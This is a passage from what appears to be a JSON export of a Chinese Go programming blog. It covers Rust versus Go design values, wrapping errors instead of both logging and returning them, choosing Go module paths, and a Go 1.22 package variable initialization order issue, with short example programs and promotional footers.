safety)，而efficient则有两层含义，一是运行时的高效，另外一个方面则是构建时的生产力也要保持高水准。\n这三个价值观是Rust语言的设计目标，也是Rust语言的特色和优势所在。在失去了Graydon Hoare这个语言之父后，这些价值观也成为了Rust核心团队在判定语言演进方向的根本依据。\n内存安全 内存安全是Rust最重要的价值观，它意味着Rust程序在运行时不会出现内存泄漏(不使用unsafe代码的前提下)、缓冲区溢出、野指针等内存相关的错误。这些错误不仅会导致程序崩溃，还可能导致安全漏洞的产生。Rust通过所有权（ownership）、生命周期（lifetime）和借用（borrowing）等特性，在编译时最大程度地检查出这些错误，从而保证程序的内存安全。\nRust的内存安全机制不仅能够提高程序的稳定性和可靠性，还能够降低开发和维护的难度。由于Rust能够在编译时就检查出内存错误，开发者就不必再花费大量时间和精力去寻找和修复这些错误了。\n高性能 高性能是Rust的仅次于内存安全的一个核心价值观，Rust语言的设计目标之一就是要成为一种高性能的系统编程语言。Rust通过零成本抽象、移动语义、泛型编程等特性，使得程序能够在运行时达到与C、C++等传统系统编程语言相当的性能。\nRust的高性能机制不仅能够提高程序的运行速度，还能够降低硬件成本。由于Rust能够更好地利用硬件资源，因此在相同的硬件条件和资源开销下，Rust程序的性能通常比其他语言的程序更高。\n生产力 生产力是Rust的第三个核心价值观，Rust语言的设计目标之一就是要成为一种能够提高开发者生产力的语言。Rust通过包管理器Cargo、智能编辑器支持、丰富的库生态、详实系统的文档等特性，使得开发者能够更轻松地编写、调试和维护Rust程序。\n1.2.2 Rust的次要价值观 Stephen Klabnik还总结了三条Rust的次要价值观(secondary values)：\n我们看到：Rust的次要价值观包括ergonomics、compile times和correctness，这三个价值观也是Rust语言的设计目标之一，但和上面的第一级核心价值观相比，它们是可以被妥协掉的。\nErgonomics是指Rust语言的易用性，它是Rust语言的一个重要设计目标。Rust希望通过简单易用的语法和丰富的库生态，使得开发者能够更轻松地编写Rust程序。\nCompile Times是指Rust编译器的编译时间。Rust编译器很慢，这是一个问题，Rust team也正在努力优化，但Rust team更关心二进制文件的最终执行速度，而不是让编译器变得更快，这就是Compile Time作为次要价值观的原因。\nCorrectness是指Rust语言的正确性，Rust真的很在乎你的程序是否正确，Rust希望通过强大的类型系统和静态检查，来尽可能地保证Rust程序的正确性。但Rust不愿意使用完全依赖类型以及证明助手来证明你的代码是正确的。\n1.2.3 与Go的价值观的对比 我们来对比一下Go官方的对Go的介绍，看一下其隐含的Go价值观(设计哲学)：\n在官方对Go的介绍中有三个关键词：Simple、Secure和Scalable。\nSimple是Go语言的首要设计原则，Go语言的设计者希望Go语言能够简单易用，使得开发者能够更快地学习和使用Go语言，以快速形成生产能力。Go语言的语法简单易懂，并且去掉了许多其他编程语言中复杂的特性，如类型层次与继承等，使得Go语言更加简洁易学、易读、易用和易维护。\n至于Secure，Go语言的设计者希望Go语言能够更加安全可靠，避免许多其他编程语言中常见的安全漏洞。Go语言通过垃圾回收机制来自动管理内存，避免了许多其他编程语言中常见的内存泄漏和缓冲区溢出等问题。同时，Go语言提供了轻量级的goroutine和通道机制，使得开发者能够更加方便地实现并发编程，并且通过数据竞争检测工具，避免了并发编程中常见的数据竞争问题。同时Go语言提供了简单易用的显式错误处理机制，让开发者不遗漏任一处错误处理。\nScalable则体现在Go面向工程、原生内置并发以及崇尚组合的设计哲学上了。 Go语言的设计者希望Go语言能够更好地支持可扩展性，使得Go程序能够更好地适应不同的组织规模、不同的工作负载和硬件环境。Go语言通过简单的语法、基于module的可重现的构建管理、极高的编译速度、高质量的标准库、实用的工具链、强大的内置并发机制以及面向接口编程等特性，使得Go程序更加可扩展，生产力更为高效。\n总的来说，Rust更注重安全、底层控制和极致性能，而Go则更加关注简单、安全、扩展性与工程效率。两者在定位和设计哲学上存在区别，但也有一些共同特点，比如都拥有现代的工具链、活跃的社区等。\n1.3 本章小结 在这篇博文中，我们了解了Rust语言的诞生历程、现状发展，以及它独特的设计哲学。通过与Go语言进行对比，我们可以看出两者在出身、目标和设计理念上的一些差异。\n随着软件系统的复杂度不断提高，对安全性、性能和并发的需求也越来越高。作为一门专注于底层系统编程、性能极致化的新语言，Rust正在吸引越来越多开发者的关注。相信通过后面对Rust的全方面的系统学习，我和大家都能够更深入地理解和掌握Rust。\n如果你认为Rust的价值观与你的十分匹配，你也认同Rust未来的发展。那就期待下一篇吧，在下一篇中，我们将开始动手学习Rust了!\n1.4 参考资料 Rust维基百科 – https://en.wikipedia.org/wiki/Rust_(programming_language) How Rust went from a side project to the world’s most-loved programming language – https://www.technologyreview.com/2023/02/14/1067869/rust-worlds-fastest-growing-programming-language/ 2022 Review | The adoption of Rust in Business – https://rustmagazine.org/issue-1/2022-review-the-adoption-of-rust-in-business/ How Rust Views Tradeoffs – https://www.infoq.com/presentations/rust-tradeoffs/ 非官方Rust吉祥物Ferris – https://rustacean.net Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/04/22/gopher-rust-first-lesson-all-about-rust/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-rust-first-lesson-all-about-rust-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/04/22/gopher-rust-first-lesson-all-about-rust\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/04/22/gopher-rust-first-lesson-all-about-rust\"\u003ehttps://tonybai.com/2024/04/22/gopher-rust-first-lesson-all-about-rust\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e要说这两年后端编程语言谁最火，\u003ca href=\"https://www.rust-lang.org/\"\u003eRust\u003c/a\u003e说自己第二，没人敢说第一。\u003ca href=\"https://survey.stackoverflow.co/2023/#section-admired-and-desired-programming-scripting-and-markup-languages\"\u003eRust连续8年霸榜stackoverflow最受推崇的编程语言\u003c/a\u003e，甚至被推特之父Jack Dorsey称为“完美的编程语言”：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/gopher-rust-first-lesson-all-about-rust-2.png\"\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e注：最火：仅代表人气最旺，最受欢迎，但并不代表使用者最多。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e如果你经常读我的博客，你可能会问：“你不是Go语言布道师吗？怎么也要转Rust了？”其实不然，\u003cstrong\u003e学习Rust不是要蹭热度，而是实际开发的需要\u003c/strong\u003e。这些年在汽车行业这个赛道上，云端和车端都要兼顾。目前车端基础软件的开发语言主要是C/C++，但内存安全、性能不输C且高可靠的Rust日益受到车载软件开发的青睐，AUTOSAR组织在2022年成立了Rust工作组就是一个重要的信号。并且据我所知，一些国内造车新势力已经或正在将一些Rust开发的中间件或应用放到了量产车或即将量产的车上。\u003c/p\u003e","title":"Gopher的Rust第一课：Rust的那些事儿"},{"content":"\n本文永久链接 – https://tonybai.com/2024/04/14/either-return-error-or-log-them-do-not-do-both\n1. 缘起 这周，一个产品团队内进行Go代码评审时，得到了一个结论：所有的if err != nil的地方都应该输出错误日志。然而，这种做法并不是最佳实践，它存在一些问题。\n首先，打印过多的错误日志会导致日志文件变得冗长和难以阅读。其次，重复的错误信息会增加冗余。此外，每一层都打印错误日志，一旦错误信息设计不当，可能会导致上下文信息的丢失。\n让我们来看一个示例，说明为什么同时输出错误日志和返回错误值会导致问题。假设我们有一个五层的Go函数调用栈，其中最底层的函数level4Function出现了一个错误：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; ) func main() { if err := topFunction(); err != nil { log.Printf(\u0026quot;Error: %v\u0026quot;, err) } } func topFunction() error { err := level1Function() if err != nil { log.Printf(\u0026quot;topFunction: %v\u0026quot;, err) return err } return nil } func level1Function() error { err := level2Function() if err != nil { log.Printf(\u0026quot;level1Function: %v\u0026quot;, err) return err } return nil } func level2Function() error { err := level3Function() if err != nil { log.Printf(\u0026quot;level2Function: %v\u0026quot;, err) return err } return nil } func level3Function() error { err := level4Function() if err != nil { log.Printf(\u0026quot;level3Function: %v\u0026quot;, err) return err } return nil } func level4Function() error { err := fmt.Errorf(\u0026quot;something went wrong\u0026quot;) log.Printf(\u0026quot;level4Function: %v\u0026quot;, err) return err } 在这个示例中，我们在每个函数中都输出错误日志并返回错误值。我们运行一下这个程序：\n$go run main.go 2024/04/14 23:10:05 level4Function: something went wrong 2024/04/14 23:10:05 level3Function: something went wrong 2024/04/14 23:10:05 level2Function: something went wrong 2024/04/14 23:10:05 level1Function: something went wrong 2024/04/14 23:10:05 topFunction: something went wrong 2024/04/14 23:10:05 Error: something went wrong 当我们运行程序时，日志文件会出现重复的错误信息，并且上下文信息不易于进行链式追踪，因为每个函数只打印了特定错误的信息，而没有提供之前错误的上下文。\n2. 好的实践技巧 为了解决上述问题，我们需要采用一种更好的实践方法。面向调用层次较深的函数调用栈，我们应该只在最顶层的函数中输出错误日志，而在下层函数中返回错误值。但是，我们需要精心构造错误值，以形成基于wrapped error的错误链。\n让我们修改示例代码，按照最佳实践进行错误处理：\npackage main import ( \u0026quot;fmt\u0026quot; \u0026quot;log\u0026quot; ) func main() { if err := topFunction(); err != nil { log.Printf(\u0026quot;Error: %v\u0026quot;, err) } } func topFunction() error { err := level1Function() if err != nil { return fmt.Errorf(\u0026quot;topFunction: %w\u0026quot;, err) } return nil } func level1Function() error { err := level2Function() if err != nil { return fmt.Errorf(\u0026quot;level1Function: %w\u0026quot;, err) } return nil } func level2Function() error { err := level3Function() if err != nil { return fmt.Errorf(\u0026quot;level2Function: %w\u0026quot;, err) } return nil } func level3Function() error { err := level4Function() if err != nil { return fmt.Errorf(\u0026quot;level3Function: %w\u0026quot;, err) } return nil } func level4Function() error { err := fmt.Errorf(\u0026quot;something went wrong\u0026quot;) return fmt.Errorf(\u0026quot;level4Function: %w\u0026quot;, err) } 在这个修改后的示例中，我们在每个函数中使用fmt.Errorf+%w将错误包装为一个wrapped error，并将前一层的错误作为参数传递。通过这种方式，我们构建了一个错误链，其中每个错误都包含了之前发生的错误上下文。在最顶层的main函数中，我们使用日志库输出错误日志，下面是示例程序的运行结果：\n2024/04/14 23:12:16 Error: topFunction: level1Function: level2Function: level3Function: level4Function: something went wrong 我们看到：通过这种方法，我们避免了重复的错误日志，并保留了错误的上下文信息，快速定位了根因。当运行修改后的程序时，我们会看到日志文件中只打印了完整的错误链，而不是重复的错误信息。通过调用链和精心设计的错误上下文，我们还可以看到函数调用链，这使得错误的调试和处理变得更加方便和可靠。\n关于错误链的使用，大家可以看看我之前撰写的《Go错误处理：错误链使用指南》一文。\n3. 小结 在前面的示例中，我们展示了同时输出错误日志和返回错误值的问题，并介绍了如何使用wrapped error来构建错误链。通过合理地处理错误，我们可以提高代码的可读性和可维护性，同时也有助于快速定位和解决问题。\n总之，在编写Go代码时，请记住要么返回错误值，要么输出日志，不要两者都做。通过合理地处理错误，我们可以编写出更可靠、更易于调试的代码。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/04/14/either-return-error-or-log-them-do-not-do-both/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/either-return-error-or-log-them-do-not-do-both-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/04/14/either-return-error-or-log-them-do-not-do-both\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/04/14/either-return-error-or-log-them-do-not-do-both\"\u003ehttps://tonybai.com/2024/04/14/either-return-error-or-log-them-do-not-do-both\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"1-缘起\"\u003e1. 缘起\u003c/h2\u003e\n\u003cp\u003e这周，一个产品团队内进行Go代码评审时，得到了一个结论：所有的if err != nil的地方都应该输出错误日志。然而，这种做法并不是最佳实践，它存在一些问题。\u003c/p\u003e","title":"要么返回错误值，要么输出日志，别两样都做"},{"content":"\n本文永久链接 – https://tonybai.com/2024/04/09/choose-the-right-go-module-path\n最近我在查看项目代码时，注意到有人在go.mod文件中将module path写为com.example.foo了。根据这个写法，相信屏幕前的读者也可以推断出这位开发人员可能是从Java阵营转到Go的。实际开发中可能有很多开发者会使用类似的内容作为module path，但这显然不是Go的推荐写法或惯用法。\n在这篇简短的文章中，我就来介绍一下module path对Go源码构建、包导入路径以及开发协作的影响，以及符合惯例的module path应该是什么样子的。\n我们先来复习一下什么是Go module path。\n1. 什么是module path 在Go语言中，module path（模块路径）是指在Go开发中用来标识和定位模块的唯一字符串，用于指定在远程仓库或本地文件系统中存储模块代码的位置。\nmodule path在go.mod文件中定义，比如下面这个示例：\n// go.mod module github.com/user/module go 1.21.1 我们看到：一个典型的模块路径是一个URL格式字符串，可能是类似于github.com/user/module的形式，其中github.com/user/module就是module path。\n在Go语言中，模块（module）是一种组织和管理代码的方式，也是Go代码版本管理的基本单元，我们可以在模块路径中包含主版本信息，比如：\n// go.mod module github.com/user/module/v2 go 1.21.1 这表明该模块为v2版本，与前面的github.com/user/module是不向后兼容的两个模块。模块的使用者可以同时导入这两个不兼容的模块下的包，比如：\nimport ( \u0026quot;github.com/user/module/foo\u0026quot; foov2 \u0026quot;github.com/user/module/v2/foo\u0026quot; ) 那么module path的选取和使用，对Go开发有何影响呢？我们继续向下看。\n2. module path的影响 2.1 指示Go module网络位置 前面提到过，在Go语言中，我们通常使用模块的存储库地址作为模块路径的基础。这样做的好处是，Go编译器可以直接通过模块路径确定模块在网络上的位置，并从指定的位置下载需要的代码。这使得在使用第三方模块时非常方便，开发者只需要指定模块的路径，Go工具链就能够自动处理依赖关系，下载并编译所需的模块代码。\n例如，如果一个模块的路径是github.com/user/module，那么Go工具链（尤其是Go编译器)就会认为该模块的代码存储在GitHub上的user用户下的module仓库中。当Go工具链需要引入该模块时，它会根据这个路径通过goproxy或直接去GitHub上下载相应的代码。\n这种基于存储库地址的模块路径设计简化了模块的管理和依赖关系的处理，使得在Go项目中使用第三方模块变得更加方便和可靠。\n2.2 对Go包路径的影响 Go module下的包的导入路径为module path+到包所在目录的相对路径，以module path为github.com/user/module的module下的pkg/foo目录下的包为例，foo包的导入路径为github.com/user/module/pkg/foo。\n而如果像本文开头那样，使用com.example.foo作为module path，那么foo包的导入路径就变为了com.example.foo/pkg/foo，这显然难以理解，同时，com.example.foo这样的Java模式的字符串也无法指示go module的网络位置。\n2.3 对编译的影响 module path对编译的影响体现在两方面：\n首先，Go编译时通过module path来查找依赖的模块。如果Go module path不正确或不完整，那么编译可能会失败。非idiomatic的Go module path可能导致编译错误或难以诊断的问题。\n其次，module path会影响采用go build默认构建出的二进制文件的名字，比如如果一个module path为github.com/user/mymodule，那么在该module下执行go build（不使用-o命令行标志），默认得到的二进制文件名为mymodule。\n但如果module path为com.example.foo，那么得到的二进制文件名就为com.example.foo，这显然不是我们想要的。\n2.4 对开发者协作的影响 Go模块路径的命名对开发者之间的协作也有着重要的影响，主要体现在两方面：\n唯一性和命名空间 模块路径应当保持唯一，以避免与其他模块产生冲突。通常情况下，使用域名作为模块路径的一部分可以确保全球唯一性。在团队内部，也可以基于公司或组织的名称来命名模块路径，以确保模块的唯一性。\n依赖管理 使用清晰、有意义、可以指示位置和版本的模块路径可以帮助开发者更好地管理依赖关系。当其他开发者在引入你的模块时，他们可以通过模块路径来确定正确的依赖版本，以及如何与你的模块进行集成。\n3. 如何选择一个好的module path 通过上面的秒数，其实我们已经可以勾勒出一个好的module path的画像了。当然这也是Go社区的最佳实践。\n通常情况下，module path应该基于模块的存储库地址，并使用简短、易于理解的路径。\n就像前面提到的那样，如果你的module存储在GitHub上并可公开，那么module path一般是github.com/user/module。\n如果你的module公司内部，不能公开的，那么可以使用一个私有的存储库地址，例如：company.com/dept/go/module。\n无论公开的，还是私有的，你都可以定制module path，这方面的方案可以参考我之前编写的有关定制Go module的拉取方案。\n如果是仅在本地使用的日常练习项目，那么Go module path的使用可以宽松一些，可以无需在乎其对go module网络位置、开发者协作的影响，可使用像demo这样的单个词的module path，仅注意下其对包路径和编译结果的影响即可。\n4. 小结 综上，我们看到：Go module path对Go module网络位置、包路径、编译和开发者协作都有重要影响。遵循Go社区的最佳实践，选择一个好的Go module path可以提高代码可读性和可维护性，并简化多人协作，帮助Go开发者更好地使用Go模块系统。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily – https://gopherdaily.tonybai.com 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/04/09/choose-the-right-go-module-path/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/choose-the-right-go-module-path-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/04/09/choose-the-right-go-module-path\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2024/04/09/choose-the-right-go-module-path\"\u003ehttps://tonybai.com/2024/04/09/choose-the-right-go-module-path\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e最近我在查看项目代码时，注意到有人在go.mod文件中将module path写为com.example.foo了。根据这个写法，相信屏幕前的读者也可以推断出这位开发人员可能是从Java阵营转到Go的。实际开发中可能有很多开发者会使用类似的内容作为module path，但这显然不是Go的推荐写法或惯用法。\u003c/p\u003e","title":"选择正确的Go Module Path"},{"content":"\n本文永久链接 – https://tonybai.com/2024/03/29/the-issue-in-pkg-level-var-init-order-in-go-1-22\n细心的朋友可能已经注意到，从春节后，我的博客就“停更”了！实际上，这一情况部分是因为工作上的事务繁忙，另一部分则是因为我将工作之外的闲暇时间更多地投入到一本即将于今年中下旬出版的书的撰写了：在之前的积累基础上，我花了两个多月的时间完成了初稿。\n当然，我也深切地怀念博客写作所带来的乐趣和与读者的互动。正巧，今天一位学员在《Go语言第一课》专栏留言给了我一个恢复下笔的机会。借此，我也准备恢复一下博客写作的节奏。\n另外预告一下：我和我的技术团队合作翻译的一本Go语言入门书最早也将于2024年4月份上市，敬请期待！\n在《Go语言第一课》专栏的第8讲中，我曾系统讲解了Go包的初始化次序，以及Go包内包级变量、常量、init函数等的初始化次序。讲这些的初衷就是希望Go初学者能先了解一下Go程序的执行次序，这样在后续阅读和理解Go代码的时候，就好比拥有了“通往宝藏的地图”，可以直接沿着Go代码执行次序这张“地图”去阅读和理解Go代码，而不会在庞大的代码库中迷失了。\n相对于早期的Go版本，Go包的初始化次序在Go 1.21版本开始会有所变化，这个可以看我的《Go 1.21中值得关注的几个变化》一文了解详情。\n不过除了Go包的初始化次序得以明确之外，Go在1.22版本中的包级变量初始化次序也发生了一些“变化”，但Go 1.22的Release Notes压根没提到Go包内的变量初始化次序会有变化。究竟这些变化是有意为之，还是由于代码变更而引入的新问题呢？我们还得从近期《Go语言第一课》专栏的一位读者提出的问题讲起！\n1. Go 1.22的输出结果与专栏文章中不同！ 原专栏中的代码较多，为方便起见我又写了一段简化版的代码，可以等价地反映问题。下面的代码用于演示包级变量、常量和init函数的初始化次序：\n// initorder.go package main import ( \u0026quot;fmt\u0026quot; ) var ( v0 = constInitCheck() v1 = variableInit(\u0026quot;v1\u0026quot;) v2 = variableInit(\u0026quot;v2\u0026quot;) ) const ( c1 = \u0026quot;c1\u0026quot; c2 = \u0026quot;c2\u0026quot; ) func constInitCheck() string { if c1 != \u0026quot;\u0026quot; { fmt.Println(\u0026quot;main: const c1 has been initialized\u0026quot;) } if c1 != \u0026quot;\u0026quot; { fmt.Println(\u0026quot;main: const c2 has been initialized\u0026quot;) } return \u0026quot;\u0026quot; } func variableInit(name string) string { fmt.Printf(\u0026quot;main: var %s has been initialized\\n\u0026quot;, name) return name } func init() { fmt.Println(\u0026quot;main: first init func invoked\u0026quot;) } func init() { fmt.Println(\u0026quot;main: second init func invoked\u0026quot;) } func main() { // do nothing } 使用Go 1.22版本之前的版本，比如Go 1.21版本，运行该程序的输出结果如下：\n$go run initorder.go main: const c1 has been initialized main: const c2 has been initialized main: var v1 has been initialized main: var v2 has been initialized main: first init func invoked main: second init func invoked 这个输出结果也是专栏文章中的输出结果，即包级元素的初始化顺序是：常量 -\u0026gt; 变量 -\u0026gt; init函数。三个变量的初始化次序是v0 -\u0026gt; v1 -\u0026gt; v2。\n但专栏的一位读者在使用最新Go 1.22版本运行上述程序后，却提出了如下问题：\n总结一下这个问题的两个关键点如下：\nGo 1.22版本运行上述程序的输出结果与文章中的结果不一致 将const声明block搬移到var声明block的前面后，使用Go 1.22版本的输出结果与文章中的一致 我们先来复现一下问题。我使用Go 1.22.0运行上面的initorder.go，得到下面结果：\n$go run main.go main: var v1 has been initialized main: var v2 has been initialized main: const c1 has been initialized main: const c2 has been initialized main: first init func invoked main: second init func invoked 该输出结果确如读者所说，与文中的输出顺序不一致了，变量的初始化次序变为了v1 -\u0026gt; v2 -\u0026gt; v0。这会让很多读者误以为包内元素的初始化次序变成了“变量 -\u0026gt; 常量 -\u0026gt; init函数”。是否真的如此了呢？我们下面来初步分析一下。\n2. 原因初步分析 Go语言规范中对包内变量初始化次序的说明是这样的（截至2024.03）：\nWithin a package, package-level variable initialization proceeds stepwise, with each step selecting the variable earliest in declaration order which has no dependencies on uninitialized variables. More precisely, a package-level variable is considered ready for initialization if it is not yet initialized and either has no initialization expression or its initialization expression has no dependencies on uninitialized variables. Initialization proceeds by repeatedly initializing the next package-level variable that is earliest in declaration order and ready for initialization, until there are no variables ready for initialization. Multiple variables on the left-hand side of a variable declaration initialized by single (multi-valued) expression on the right-hand side are initialized together: If any of the variables on the left-hand side is initialized, all those variables are initialized in the same step. For the purpose of package initialization, blank variables are treated like any other variables in declarations.\n粗略翻译后大致意思如下：\n在包内，包级变量初始化逐步进行，每一步都会选择声明顺序中最早的且不依赖于未初始化变量的那个变量。更准确地说，如果包级变量尚未初始化并且没有初始化表达式或其初始化表达式不依赖于未初始化的变量，则认为该变量具备初始化条件。通过重复初始化声明顺序中最早且具备初始化条件的下一个包级变量来进行初始化，直到没有具备初始化条件的变量为止。由右侧单个（多值）表达式初始化的变量声明左侧的多个变量会一起初始化：如果左侧的任何变量被初始化，则所有这些变量都会被初始化在同一步骤中。出于包初始化的目的，空变量也被视为与声明中的任何其他变量一样。\n按照Go语言规范的描述，我们来理论推导一下v0、v1和v2的初始化次序：\nvar ( v0 = constInitCheck() v1 = variableInit(\u0026quot;v1\u0026quot;) v2 = variableInit(\u0026quot;v2\u0026quot;) ) 第一轮：待初始化的包级变量集合{v0, v1, v2}。在这一轮，我们按声明顺序逐一看一下这三个变量。 v0未初始化，其声明语句的右侧有初始化表达式(initialization expression)，且这个初始化表达式式(constInitCheck)不依赖未初始化的变量（仅仅依赖两个常量c1和c2），因此按照Spec描述，v0具备初始化条件，会先进行初始化，于是constInitCheck会被调用。\n第二轮：待初始化的包级变量集合{v1, v2}。 按声明顺序，先看v1。和v0一样，其声明语句的右侧有初始化表达式，且这个初始化表达式式（variableInit)不依赖未初始化的变量，因此按照Spec描述，v1具备初始化条件，会进行初始化，于是variableInit会被调用。\n第三轮：待初始化的包级变量集合{v2}。 这个没啥可推导的了，初始化v2就是了！\n这样，包级变量的声明次序就应该是v0 -\u0026gt; v1 -\u0026gt; v2。这个理论推导结果显然与Go 1.22版之前的输出结果是一致的。但与Go 1.22版本的输出结果有悖。\n那么Go 1.22版本为什么没有将v0作为第一个具备初始化条件的变量对其进行初始化呢？v0有初始化表达式constInitCheck，该函数没有依赖任何未初始化的包级变量，但该函数内部依赖了两个常量c1和c2：\nfunc constInitCheck() string { if c1 != \u0026quot;\u0026quot; { fmt.Println(\u0026quot;main: const c1 has been initialized\u0026quot;) } if c1 != \u0026quot;\u0026quot; { fmt.Println(\u0026quot;main: const c2 has been initialized\u0026quot;) } return \u0026quot;\u0026quot; } 我们大胆地猜测一下：Go 1.22版本将c1和c2当成了“未初始化的变量”了！还记得读者问题的第二个关键点吗：“将const声明block搬移到var声明block的前面后，使用Go 1.22版本的输出结果便与文章中的一致”。按照Go 1.22的逻辑，将常量声明放到前面后，按顺序常量先被初始化了。这样到v0时，v0具备初始化的条件就成立了，于是v0就可以先被初始化了。\n3. “一波三折”的issue 为了证实上述推测，我在github.com/golang/go提了issue 66575，并对上述问题做了阐述，不过该issue被Go团队的年轻成员Sean Liao“闪电”关闭了。\n好在几个小时后，Go大神Keith Randall看到了这个issue，并支持了我的猜测！他还闪电般地找出了导致Go 1.22版本出现此问题的commit，并给出了fix方案：cmd/compile: put constants before variables in initialization order。fix方案的思路就是将所有常量的初始化放到变量之前。\n该fix merge到主干后，Gobot自动关闭了该issue。\n但严谨的Keith Randall随后reopen了该issue，并圈了Go语言之父的Robert Griesemer，希望后者确定一下是否需要更新一下Go spec。\n目前该issue已经被加入Go 1.23 milestone，并会在Go 1.23 fix。\nGopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2024/03/29/the-issue-in-pkg-level-var-init-order-in-go-1-22/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-issue-in-pkg-level-var-init-order-in-go-1-22-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2024/03/29/the-issue-in-pkg-level-var-init-order-in-go-1-22\"\u003e本文永久链接\u003c/a\u003e – \u003ca 